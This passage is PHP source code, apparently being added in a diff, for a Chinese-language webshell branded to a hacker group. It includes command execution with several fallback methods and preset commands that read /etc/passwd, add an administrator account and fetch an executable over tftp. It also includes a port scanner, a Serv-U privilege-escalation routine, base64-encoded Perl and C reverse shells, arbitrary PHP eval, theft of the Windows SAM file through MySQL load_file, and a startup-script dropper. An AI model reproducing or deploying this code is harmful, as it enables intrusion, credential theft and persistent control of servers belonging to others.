                            '."\r\n"; + ob_flush(); + flush(); + } + } + } + @closedir($h_d); + return true; +} +function Findfile_j() +{ + if(!empty($_GET['df'])){echo $_GET['df'];if(@unlink($_GET['df'])){echo '删除成功';}else{@chmod($_GET['df'],0666);echo @unlink($_GET['df']) ? '删除成功' : '删除失败';} return false;} + if((!empty($_GET['fp'])) && (!empty($_GET['fn'])) && (!empty($_GET['dim']))) { File_Edit($_GET['fp'],$_GET['fn'],$_GET['dim']); return false; } + $SCAN_DIR = isset($_POST['sfp']) ? $_POST['sfp'] : File_Mode(); + $SCAN_CODE = isset($_POST['sfc']) ? $_POST['sfc'] : 'config'; + $SCAN_TYPE = isset($_POST['sft']) ? $_POST['sft'] : '.mp3|.mp4|.avi|.swf|.jpg|.gif|.png|.bmp|.gho|.rar|.exe|.zip|.pdf|.dll|.exe|.txt|.inf|.ppt|.xls|.js'; +print<< +
                            扫描路径
                            +
                            过滤文件
                            +
                            关键字串 +搜索文件名 +搜索包含文字
                            +
                            将搜索应用于该文件夹,子文件夹和文件 +
                            仅将搜索应用于该文件夹
                            +
                            + +END; + if((!empty($_POST['sfp'])) && (!empty($_POST['sfc']))) + { + echo '
                            '; + $_POST['sft'] = str_replace('.','\\.',$_POST['sft']); + $sff = ($_POST['sff'] == 'a') ? true : false; + $sfb = ($_POST['sfb'] == 'a') ? true : false; + echo Findfile_Auto($_POST['sfp'],$_POST['sfc'],$_POST['sft'],$sff,$sfb) ? '搜索完毕' : '异常终止'; + echo '
                            '; + } + return true; +} +//系统信息 +function Info_Cfg($varname){ +switch($result = get_cfg_var($varname)){ + case 0:return "No";break; + case 1:return "Yes";break; + default:return $result;break;}} +function Info_Fun($funName){return(false !==function_exists($funName)) ? "Yes" : "No";} +function Info_f() +{ +$dis_func = get_cfg_var("disable_functions"); +$upsize = get_cfg_var("file_uploads") ? get_cfg_var("upload_max_filesize") : "不允许上传"; +$adminmail = (isset($_SERVER['SERVER_ADMIN'])) ? "".$_SERVER['SERVER_ADMIN']."" : "".get_cfg_var("sendmail_from").""; +if($dis_func == ""){$dis_func = "No";} +else{ + $dis_func = str_replace(" ","
                            ",$dis_func); + $dis_func = str_replace(",","
                            ",$dis_func); +} +$phpinfo = (!eregi("phpinfo",$dis_func)) ? "Yes" : "No"; +$info = array( +array("服务器时间/北京时间",date("Y年m月d日 h:i:s",time())." / ".gmdate("Y年n月j日 H:i:s",time()+8*3600)), +array("服务器域名:端口(ip)","".$_SERVER['SERVER_NAME'].":".$_SERVER['SERVER_PORT']." ( ".gethostbyname($_SERVER['SERVER_NAME'])." )"), +array("服务器操作系统(文字编码)",PHP_OS." (".$_SERVER['HTTP_ACCEPT_LANGUAGE'].")"), +array("服务器解译引擎",$_SERVER['SERVER_SOFTWARE']), +array("你的IP",getenv('REMOTE_ADDR')), +array("PHP运行方式(版本)",strtoupper(php_sapi_name())."(".PHP_VERSION.") / 安全模式:".Info_Cfg("safemode")), +array("服务器管理员",$adminmail), +array("本文件路径",__FILE__), +array("允许使用URL打开文件[allow_url_fopen]",Info_Cfg("allow_url_fopen")), +array("允许动态加载链接库[enable_dl]",Info_Cfg("enable_dl")), +array("显示错误信息[display_errors]",Info_Cfg("display_errors")), +array("自定义全局变量[register_globals]",Info_Cfg("register_globals")), +array("自动字符串转义[magic_quotes_gpc]",Info_Cfg("magic_quotes_gpc")), +array("最多内存使用量[memory_limit]",Info_Cfg("memory_limit")), +array("POST最大字节[post_max_size]",Info_Cfg("post_max_size")), +array("允许最大上传[upload_max_filesize]",$upsize), +array("程序最长运行时间[max_execution_time]",Info_Cfg("max_execution_time")."秒"), +array("禁用函数[disable_functions]",$dis_func), +array("程序信息函数[phpinfo()]",$phpinfo), +array("目前还有空余空间diskfreespace",intval(diskfreespace(".") / (1024 * 1024)).'Mb'), +array("GZ压缩文件支持[zlib]",Info_Fun("gzclose")), +array("ZIP压缩文件支持[ZipArchive(php_zip)]",Info_Fun("zip_open")), +array("IMAP电子邮件系统",Info_Fun("imap_close")), +array("XML解析",Info_Fun("xml_set_object")), +array("FTP登陆",Info_Fun("ftp_login")), +array("Session支持",Info_Fun("session_start")), +array("Socket支持",Info_Fun("fsockopen")), +array("MySQL数据库",Info_Fun("mysql_close")), +array("MSSQL数据库",Info_Fun("mssql_close")), +array("Postgre SQL数据库",Info_Fun("pg_close")), +array("SQLite数据库",Info_Fun("sqlite_close")), +array("Oracle数据库",Info_Fun("ora_close")), +array("Oracle 8数据库",Info_Fun("OCILogOff")), +array("SyBase数据库",Info_Fun("sybase_close")), +array("Hyperwave数据库",Info_Fun("hw_close")), +array("InforMix数据库",Info_Fun("ifx_close")), +array("FilePro数据库",Info_Fun("filepro_fieldcount")), +array("DBA/DBM连接",Info_Fun("dba_close")." / ".Info_Fun("dbmclose")), +array("ODBC/dBASE连接",Info_Fun("odbc_close")." / ".Info_Fun("dbase_close")), +array("PREL相容语法[PCRE]",Info_Fun("preg_match")), +array("PDF支持",Info_Fun("pdf_close")), +array("图形处理[GD Library]",Info_Fun("imageline")), +array("SNMP网络管理协议",Info_Fun("snmpget")),); +echo '
                            上级目录 操作 属性 修改时间 大小
                            0 '.$Filename.' 删除 '; + echo ' 改名 '.$Fileperm.' '.$Filetime.'
                            '.$fname.' 编辑 '; + echo ' 改名 '.$Fileperm.''.$Filetime.' '.$Filesize.'
                            '; +for($i = 0;$i < count($info);$i++){echo ''."\n";} +echo '
                            '.$info[$i][0].''.$info[$i][1].'
                            '; +return true; +} +//执行命令 +function Exec_Run($cmd) +{ + $res = ''; + if(function_exists('exec')){@exec($cmd,$res);$res = join("\n",$res);} + elseif(function_exists('shell_exec')){$res = @shell_exec($cmd);} + elseif(function_exists('system')){@ob_start();@system($cmd);$res = @ob_get_contents();@ob_end_clean();} + elseif(function_exists('passthru')){@ob_start();@passthru($cmd);$res = @ob_get_contents();@ob_end_clean();} + elseif(@is_resource($f = @popen($cmd,"r"))){$res = '';while(!@feof($f)){$res .= @fread($f,1024);}@pclose($f);} + return $res; +} +function Exec_g() +{ + $res = '回显'; + $cmd = 'dir'; + if(!empty($_POST['cmd'])){$res = Exec_Run($_POST['cmd']);$cmd = $_POST['cmd'];} +print<< +function sFull(i){ + Str = new Array(14); + Str[0] = "dir"; + Str[1] = "ls /etc"; + Str[2] = "cat /etc/passwd"; + Str[3] = "cp -a /home/www/html/a.php /home/www2/"; + Str[4] = "uname -a"; + Str[5] = "gcc -o /tmp/silic /tmp/silic.c"; + Str[6] = "net user silic silic /add & net localgroup administrators silic /add"; + Str[7] = "net user"; + Str[8] = "netstat -an"; + Str[9] = "ipconfig"; + Str[10] = "copy c:\\1.php d:\\2.php"; + Str[11] = "tftp -i 123.234.222.1 get silic.exe c:\\silic.exe"; + Str[12] = "lsb_release -a"; + Str[13] = "chmod 777 /tmp/silic.c"; +document.getElementById('cmd').value = Str[i]; +return true; +} + +
                            +命令参数 + +
                            +
                            +END; +return true; +} +//扫描端口 +function Port_i() +{ +$Port_ip = isset($_POST['ip']) ? $_POST['ip'] : '127.0.0.1'; +$Port_port = isset($_POST['port']) ? $_POST['port'] : '21|22|23|25|80|110|111|135|139|443|445|1433|1521|3306|3389|4899|5432|5631|7001|8000|8080|14147|43958'; +print<< +
                            扫描IP
                            +
                            端口号
                            +
                            + +END; + if((!empty($_POST['ip'])) && (!empty($_POST['port']))) + { + echo '
                            '; + $ports = explode('|', $_POST['port']); + for($i = 0;$i < count($ports);$i++) + { + $fp = @fsockopen($_POST['ip'],$ports[$i],$errno,$errstr,2); + echo $fp ? '开放端口 ---> '.$ports[$i].'
                            ' : '关闭端口 ---> '.$ports[$i].'
                            '; + ob_flush(); + flush(); + } + echo '
                            '; + } + return true; +} +//ServU +function Servu_l() +{ +$SUPass = isset($_POST['SUPass']) ? $_POST['SUPass'] : '#l@$ak#.lk;0@P'; +print<<[执行命令] [添加用户] +
                            +
                            ServU端口
                            +
                            ServU用户
                            +
                            ServU密码
                            +END; +if($_GET['o'] == 'adduser') +{ +print<<帐号 +密码 +目录 +END; +} +else +{ +print<<提权命令
                            + + + +END; +} +echo '
                            '; + if((!empty($_POST['SUPort'])) && (!empty($_POST['SUUser'])) && (!empty($_POST['SUPass']))) + { + echo '
                            '; + $sendbuf = ""; + $recvbuf = ""; + $domain = "-SETDOMAIN\r\n"."-Domain=haxorcitos|0.0.0.0|21|-1|1|0\r\n"."-TZOEnable=0\r\n"." TZOKey=\r\n"; + $adduser = "-SETUSERSETUP\r\n"."-IP=0.0.0.0\r\n"."-PortNo=21\r\n"."-User=".$_POST['user']."\r\n"."-Password=".$_POST['password']."\r\n"."-HomeDir=c:\\\r\n"."-LoginMesFile=\r\n"."-Disable=0\r\n"."-RelPaths=1\r\n"."-NeedSecure=0\r\n"."-HideHidden=0\r\n"."-AlwaysAllowLogin=0\r\n"."-ChangePassword=0\r\n". + "-QuotaEnable=0\r\n"."-MaxUsersLoginPerIP=-1\r\n"."-SpeedLimitUp=0\r\n"."-SpeedLimitDown=0\r\n"."-MaxNrUsers=-1\r\n"."-IdleTimeOut=600\r\n"."-SessionTimeOut=-1\r\n"."-Expire=0\r\n"."-RatioUp=1\r\n"."-RatioDown=1\r\n"."-RatiosCredit=0\r\n"."-QuotaCurrent=0\r\n"."-QuotaMaximum=0\r\n". + "-Maintenance=None\r\n"."-PasswordType=Regular\r\n"."-Ratios=None\r\n"." Access=".$_POST['part']."\|RWAMELCDP\r\n"; + $deldomain = "-DELETEDOMAIN\r\n"."-IP=0.0.0.0\r\n"." PortNo=21\r\n"; + $sock = @fsockopen("127.0.0.1",$_POST["SUPort"],$errno,$errstr,10); + $recvbuf = @fgets($sock, 1024); + echo "返回数据包: $recvbuf
                            "; + $sendbuf = "USER ".$_POST["SUUser"]."\r\n"; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "发送数据包: $sendbuf
                            "; + $recvbuf = @fgets($sock, 1024); + echo "返回数据包: $recvbuf
                            "; + $sendbuf = "PASS ".$_POST["SUPass"]."\r\n"; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "发送数据包: $sendbuf
                            "; + $recvbuf = @fgets($sock, 1024); + echo "返回数据包: $recvbuf
                            "; + $sendbuf = "SITE MAINTENANCE\r\n"; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "发送数据包: $sendbuf
                            "; + $recvbuf = @fgets($sock, 1024); + echo "返回数据包: $recvbuf
                            "; + $sendbuf = $domain; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "发送数据包: $sendbuf
                            "; + $recvbuf = @fgets($sock, 1024); + echo "返回数据包: $recvbuf
                            "; + $sendbuf = $adduser; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "发送数据包: $sendbuf
                            "; + $recvbuf = @fgets($sock, 1024); + echo "返回数据包: $recvbuf
                            "; + if(!empty($_POST['SUCommand'])) + { + $exp = @fsockopen("127.0.0.1","21",$errno,$errstr,10); + $recvbuf = @fgets($exp, 1024); + echo "返回数据包: $recvbuf
                            "; + $sendbuf = "USER ".$_POST['user']."\r\n"; + @fputs($exp, $sendbuf, strlen($sendbuf)); + echo "发送数据包: $sendbuf
                            "; + $recvbuf = @fgets($exp, 1024); + echo "返回数据包: $recvbuf
                            "; + $sendbuf = "PASS ".$_POST['password']."\r\n"; + @fputs($exp, $sendbuf, strlen($sendbuf)); + echo "发送数据包: $sendbuf
                            "; + $recvbuf = @fgets($exp, 1024); + echo "返回数据包: $recvbuf
                            "; + $sendbuf = "site exec ".$_POST["SUCommand"]."\r\n"; + @fputs($exp, $sendbuf, strlen($sendbuf)); + echo "发送数据包: site exec ".$_POST["SUCommand"]."
                            "; + $recvbuf = @fgets($exp, 1024); + echo "返回数据包: $recvbuf
                            "; + $sendbuf = $deldomain; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "发送数据包: $sendbuf
                            "; + $recvbuf = @fgets($sock, 1024); + echo "返回数据包: $recvbuf
                            "; + @fclose($exp); + } + @fclose($sock); + echo '
                            '; + } +} +//反弹连接 +function backconn() +{ +$ty=$_GET['ty']; +if($ty=='socket'){ +@set_time_limit(0); +$system=strtoupper(substr(PHP_OS, 0, 3)); +if(!extension_loaded('sockets')) +{ +if($system == 'WIN'){@dl('php_sockets.dll') or die("Can't load socket");} +else{@dl('sockets.so') or die("Can't load socket");} +} +if(isset($_POST['host']) && isset($_POST['port'])) +{ +$host = $_POST['host']; +$port = $_POST['port']; +}else{ +print<<
                            +
                            主机类型:Linux Windows

                            +主机:
                            +端口:

                            +

                            +END; +} +if($system=="WIN"){$env=array('path' => 'c:\\windows\\system32');} +else{$env = array('PATH' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');} +$descriptorspec = array(0 => array("pipe","r"),1 => array("pipe","w"),2 => array("pipe","w"),); +$host=gethostbyname($host); +$proto=getprotobyname("tcp"); +if(($sock=socket_create(AF_INET,SOCK_STREAM,$proto))<0){die("Socket创建失败");} +if(($ret=socket_connect($sock,$host,$port))<0){die("连接失败");} +else{ +$message=" Silic Group Hacker Army - BlackBap.Org - PHP反弹连接\n"; +socket_write($sock,$message,strlen($message)); +$cwd=str_replace('\\','/',dirname(__FILE__)); +while($cmd=socket_read($sock,65535,$proto)) +{ +if(trim(strtolower($cmd))=="exit"){socket_write($sock,"Bye\n"); exit;} +else{ +$process = proc_open($cmd, $descriptorspec, $pipes, $cwd, $env); +if (is_resource($process)){ +fwrite($pipes[0], $cmd); +fclose($pipes[0]); +$msg=stream_get_contents($pipes[1]); +socket_write($sock,$msg,strlen($msg)); +fclose($pipes[1]); +$msg=stream_get_contents($pipes[2]); +socket_write($sock,$msg,strlen($msg)); +$return_value = proc_close($process); +} +} +} +} +} +elseif($ty=='linux'){ +$yourip = isset($_POST['yourip']) ? $_POST['yourip'] : getenv('REMOTE_ADDR'); +$yourport = isset($_POST['yourport']) ? $_POST['yourport'] : '12666'; +print<<
                            +
                            你的地址
                            +连接端口
                            +执行方式    +


                            +END; +if((!empty($_POST['yourip'])) && (!empty($_POST['yourport']))) +{ +echo '
                            '; +if($_POST['use'] == 'perl') +{ +$back_connect_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2VjaG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHRhcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; +echo File_Write('/tmp/yoco_bc',base64_decode($back_connect_pl),'wb') ? '创建/tmp/yoco_bc成功
                            ' : '创建/tmp/yoco_bc失败
                            '; +$perlpath = Exec_Run('which perl'); +$perlpath = $perlpath ? chop($perlpath) : 'perl'; +echo Exec_Run($perlpath.' /tmp/yoco_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '执行命令失败'; +} +if($_POST['use'] == 'c') +{ +$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJybSAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJsZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLCAoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7DQogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEpOw0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; +echo File_Write('/tmp/yoco_bc.c',base64_decode($back_connect_c),'wb') ? '创建/tmp/yoco_bc.c成功
                            ' : '创建/tmp/yoco_bc.c失败
                            '; +$res = Exec_Run('gcc -o /tmp/angel_bc /tmp/angel_bc.c'); +@unlink('/tmp/yoco.c'); +echo Exec_Run('/tmp/yoco_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '执行命令失败'; +} +echo '
                            你可以尝试连接端口 (nc -l -n -v -p '.$_POST['yourport'].')
                            '; +} +return true; +}else{ +print<<
                            +
                            [ C/Perl 反弹 - Linux ]

                            +
                            本共能用于linux提权中的反向cmd连接。
                            +原理是将反弹连接功能的perl脚本或者C程序写入/tmp文件夹并运行
                            +若php禁用了命令执行函数将可能导致反弹失败
                            +本地请运行nc程序监听端口,例如nc -vv -l -p 12666



                            + [ Socket反弹 - Windows ]

                            +
                            PHP使用Socket进行cmdshell反向连接。Webshell所在服务器必须为Windows系统
                            +目前没有发现有防护软件会对Socket反向连接做出限制,但php_sockets必须设置为open/enable
                            +请先通过phpinfo()函数查看服务器是否允许php_socket连接
                            +Socket反向连接的用途用于当PHP禁用了部分命令执行函数后的命令执行
                            +不要盲目连接,否则将造成服务器假死、资源耗尽等严重后果
                            +本地请先运行nc.exe监听端口,例如nc -vv -l -p 5555
                            +
                            +END; +} +} +//eval执行php代码 +function phpcode() +{ +print<<
                            输入php代码:
                            +
                            +

                            +

                            +END; +$phpcode = $_POST['phpcode']; +$phpcode = trim($phpcode); +if($phpcode){ +if(!preg_match('#<\?#si',$phpcode)){$phpcode = "";} +eval("?".">$phpcode
                            '; +} +return false; +} +//其它数据库连接 +function otherdb(){ +$db = isset($_GET['db']) ? $_GET['db'] : 'ms'; +print<< + +END; +if ($db=="ms"){ +$mshost = isset($_POST['mshost']) ? $_POST['mshost']:'localhost'; +$msuser = isset($_POST['msuser']) ? $_POST['msuser'] : 'sa'; +$mspass = isset($_POST['mspass']) ? $_POST['mspass'] : ''; +$msdbname = isset($_POST['msdbname']) ? $_POST['msdbname'] : 'master'; +$msaction = isset($_POST['action']) ? $_POST['action'] : ''; +$msquery = isset($_POST['mssql']) ? $_POST['mssql'] : ''; +$msquery = stripslashes($msquery); +print<< +
                            +Host: +User: +Pass: +Dbname:
                            + +
                            + + +
                            +END; +if ($msaction == 'msquery'){ +$msconn= mssql_connect ($mshost , $msuser, $mspass); +mssql_select_db($msdbname,$msconn) or die("connect error :" .mssql_get_last_message()); +$msresult = mssql_query($msquery) or die(mssql_get_last_message()); +echo ''."\n\n"; +for ($i=0; $i'.mssql_field_name($msresult, $i)."\n";} +echo "\n"; +mssql_data_seek($result, 0); +while ($msrow=mssql_fetch_row($msresult)) +{ +echo "\n"; +for ($i=0; $i'."$msrow[$i]".'';} +echo "\n"; +} +echo "
                            "; +mssql_free_result($msresult); +mssql_close(); +} +} +elseif ($db=="ora"){ +$orahost = isset($_POST['orahost']) ? $_POST['orahost'] : 'localhost'; +$oraport = isset($_POST['oraport']) ? $_POST['oraport'] : '1521'; +$orauser = isset($_POST['orauser']) ? $_POST['orauser'] : 'root'; +$orapass = isset($_POST['orapass']) ? $_POST['orapass'] : '123456'; +$orasid = isset($_POST['orasid']) ? $_POST['orasid'] : 'ORCL'; +$oraaction = isset($_POST['action']) ? $_POST['action'] : ''; +$oraquery = isset($_POST['orasql']) ? $_POST['orasql'] : ''; +$oraquery = stripslashes($oraquery); +print<< +
                            +Host: +Port: +User: +Pass: +SID:
                            + +
                            + + +
                            +END; +if($oraaction == 'oraquery'){ +$oralink=OCILogon($orauser,$orapass,"(DEscriptION=(ADDRESS=(PROTOCOL =TCP)(HOST=$orahost)(PORT = $oraport))(CONNECT_DATA =(SID=$orasid)))") or die(ocierror()); +$oraresult=ociparse($oralink,$oraquery) or die(ocierror()); +$orarow=oci_fetch_row($oraresult); +echo ''."\n\n"; +for ($i=0; $i'.oci_field_name($oraresult, $i)."\n";} +echo "\n"; +ociresult($oraresult, 0); +while ($orarow=ora_fetch_row($oraresult)) +{ +echo "\n"; +for ($i=0; $i'."$orarow[$i]".'';} +echo "\n"; +} +echo "
                            "; +oci_free_statement($oraresult); +ocilogoff(); +} +} +elseif ($db == "ifx"){ +$ifxuser = isset($_POST['ifxuser']) ? $_POST['ifxuser'] : 'root'; +$ifxpass = isset($_POST['ifxpass']) ? $_POST['ifxpass'] : '123456'; +$ifxdbname = isset($_POST['ifxdbname']) ? $_POST['ifxdbname'] : 'ifxdb'; +$ifxaction = isset($_POST['action']) ? $_POST['action'] : ''; +$ifxquery = isset($_POST['ifxsql']) ? $_POST['ifxsql'] : ''; +$ifxquery = stripslashes($ifxquery); +print<< +
                            Dbname: +User: +Pass:
                            + +
                            + + +
                            +END; +if($ifxaction == 'ifxquery'){ +$ifxlink = ifx_connect($ifcdbname, $ifxuser, $ifxpass) or die(ifx_errormsg()); +$ifxresult = ifx_query($ifxquery,$ifxlink) or die (ifx_errormsg()); +$ifxrow=ifx_fetch_row($ifxresult); +echo ''."\n\n"; +for($i=0; $i'.ifx_fieldproperties($ifxresult)."\n";} +echo "\n"; +mysql_data_seek($ifxresult, 0); +while ($ifxrow=ifx_fetch_row($ifxresult)) +{ +echo "\n"; +for ($i=0; $i'."$ifxrow[$i]".'';} +echo "\n"; +} +echo "
                            "; +ifx_free_result($ifxresult); +ifx_close(); +} +} +elseif ($db=="db2"){ +$db2host = isset($_POST['db2host']) ? $_POST['db2host'] : 'localhost'; +$db2port = isset($_POST['db2port']) ? $_POST['db2port'] : '50000'; +$db2user = isset($_POST['db2user']) ? $_POST['db2user'] : 'root'; +$db2pass = isset($_POST['db2pass']) ? $_POST['db2pass'] : '123456'; +$db2dbname = isset($_POST['db2dbname']) ? $_POST['db2dbname'] : 'mysql'; +$db2action = isset($_POST['action']) ? $_POST['action'] : ''; +$db2query = isset($_POST['db2sql']) ? $_POST['db2sql'] : ''; +$db2query = stripslashes($db2query); +print<< +
                            Host: +Port: +User: +Pass: +Dbname:
                            + +
                            + + +
                            +END; +if ($myaction == 'db2query'){ +$db2link = db2_connect($db2dbname, $db2user, $db2pass) or die(db2_conn_errormsg()); +$db2result = db2_exec($db2link,$db2query) or die(db2_stmt_errormsg()); +$db2row=db2_fetch_row($db2result); +echo ''."\n\n"; +for ($i=0; $i'.db2_field_name($db2result)."\n";} +echo "\n"; +while ($db2row=db2_fetch_row($db2result)) +{ +echo "\n"; +for ($i=0; $i'."$db2row[$i]".'';} +echo "\n"; +} +echo "
                            "; +db2_free_result($db2result); +db2_close(); +} +} +elseif($db == "fb") { +$fbhost = isset($_POST['fbhost']) ? $_POST['fbhost'] : 'localhost'; +$fbpath = isset($_POST['fbpath']) ? $_POST['fbpath'] : ''; +$fbpath = str_replace("\\\\", "\\", $fbpath); +$fbuser = isset($_POST['fbuser']) ? $_POST['fbuser'] : 'sysdba'; +$fbpass = isset($_POST['fbpass']) ? $_POST['fbpass'] : 'masterkey'; +$fbaction = isset($_POST['action']) ? $_POST['action'] : ''; +$fbquery = isset($_POST['fbsql']) ? $_POST['fbsql'] : ''; +$fbquery = stripslashes($fbquery); +print<< +
                            Host: +Path: +User: +Pass:
                            + +
                            + + +
                            +END; +if($fbaction == 'fbquery'){ +$fblink = ibase_connect($fbhost.':'.$fbpath,$fbuser,$fbpass) or die(ibase_errmsg()); +$fbresult = ibase_query($fblink,$fbquery) or die(ibase_errmsg()); +echo ''."\n\n"; +for ($i=0; $i'.ibase_field_info($fbresult, $i)."\n";} +echo "\n"; +ibase_field_info($fbresult, 0); +while ($fbrow=ibase_fetch_row($fbresult)) +{ +echo "\n"; +for ($i=0; $i'."$fbrow[$i]".'';} +echo "\n"; +} +echo "
                            "; +ibase_free_result($fbresult); +ibase_close(); +} +} +} +//MySql执行 +function Mysql_n() +{ + $MSG_BOX = ''; + $mhost = 'localhost'; $muser = 'root'; $mport = '3306'; $mpass = ''; $mdata = 'mysql'; $msql = 'select version();'; + if(isset($_POST['mhost']) && isset($_POST['muser'])) + { + $mhost = $_POST['mhost']; $muser = $_POST['muser']; $mpass = $_POST['mpass']; $mdata = $_POST['mdata']; $mport = $_POST['mport']; + if($conn = mysql_connect($mhost.':'.$mport,$muser,$mpass)) @mysql_select_db($mdata); + else $MSG_BOX = '连接MYSQL失败'; + } + $downfile = 'c:/windows/repair/sam'; + if(!empty($_POST['downfile'])) + { + $downfile = File_Str($_POST['downfile']); + $binpath = bin2hex($downfile); + $query = 'select load_file(0x'.$binpath.')'; + if($result = @mysql_query($query,$conn)) + { + $k = 0; $downcode = ''; + while($row = @mysql_fetch_array($result)){$downcode .= $row[$k];$k++;} + $filedown = basename($downfile); + if(!$filedown) $filedown = 'silic.tmp'; + $array = explode('.', $filedown); + $arrayend = array_pop($array); + header('Content-type: application/x-'.$arrayend); + header('Content-Disposition: attachment; filename='.$filedown); + header('Content-Length: '.strlen($downcode)); + echo $downcode; + exit; + } + else $MSG_BOX = '下载文件失败'; + } + $o = isset($_GET['o']) ? $_GET['o'] : ''; + Root_CSS(); +print<< +
                            +
                            +地址 +端口 +用户 +密码 +库名 +
                            +
                            +END; +if($o=='u') +{ + $uppath = 'C:/Documents and Settings/All Users/「开始」菜单/程序/启动/exp.vbs'; + if(!empty($_POST['uppath'])) + { + $uppath = $_POST['uppath']; + $query = 'Create TABLE a (cmd text NOT NULL);'; + if(@mysql_query($query,$conn)) + { + if($tmpcode = File_Read($_FILES['upfile']['tmp_name'])){$filecode = bin2hex(File_Read($tmpcode));} + else{$tmp = File_Str(dirname(__FILE__)).'/upfile.tmp';if(File_Up($_FILES['upfile']['tmp_name'],$tmp)){$filecode = bin2hex(File_Read($tmp));@unlink($tmp);}} + $query = 'Insert INTO a (cmd) VALUES(CONVERT(0x'.$filecode.',CHAR));'; + if(@mysql_query($query,$conn)) + { + $query = 'SELECT cmd FROM a INTO DUMPFILE \''.$uppath.'\';'; + $MSG_BOX = @mysql_query($query,$conn) ? '上传文件成功' : '上传文件失败'; + } + else $MSG_BOX = '插入临时表失败'; + @mysql_query('Drop TABLE IF EXISTS a;',$conn); + } + else $MSG_BOX = '创建临时表失败'; + } +print<<
                            上传路径 +

                            选择文件 +
                            +END; +} +elseif($o=='d') +{ +print<<

                            下载文件 +
                            +END; +}elseif($o=='tk'){ +if($_POST['dump']=='dump'){ +$mysql_link=@mysql_connect($mhost,$muser,$mpass); +mysql_select_db($mdata); +mysql_query("SET NAMES gbk"); +$mysql=""; +$q1=mysql_query("show tables"); +while($t=mysql_fetch_array($q1)){ + $table=$t[0]; + $q2=mysql_query("show create table `$table`"); + $sql=mysql_fetch_array($q2); + $mysql.=$sql['Create Table'].";\r\n\r\n"; + $q3=mysql_query("select * from `$table`"); + while($data=mysql_fetch_assoc($q3)) + { + $keys=array_keys($data); + $keys=array_map('addslashes',$keys); + $keys=join('`,`',$keys); + $keys="`".$keys."`"; + $vals=array_values($data); + $vals=array_map('addslashes',$vals); + $vals=join("','",$vals); + $vals="'".$vals."'"; + $mysql.="insert into `$table`($keys) values($vals);\r\n"; + } + $mysql.="\r\n"; +} +$filename=date("Y-m-d-GisA").".sql"; +$fp=fopen($filename,'w'); +fputs($fp,$mysql); +fclose($fp); +$tip="
                            数据备份成功,点击下载数据库文件:[".$filename."]
                            "; +}else{$tip="尚未备份,保证本程序所在目录可写";} +print<<

                            +请慎用本功能,数据库过大将造成服务器宕机等情况 :-(

                            +{$tip}

                            + + +
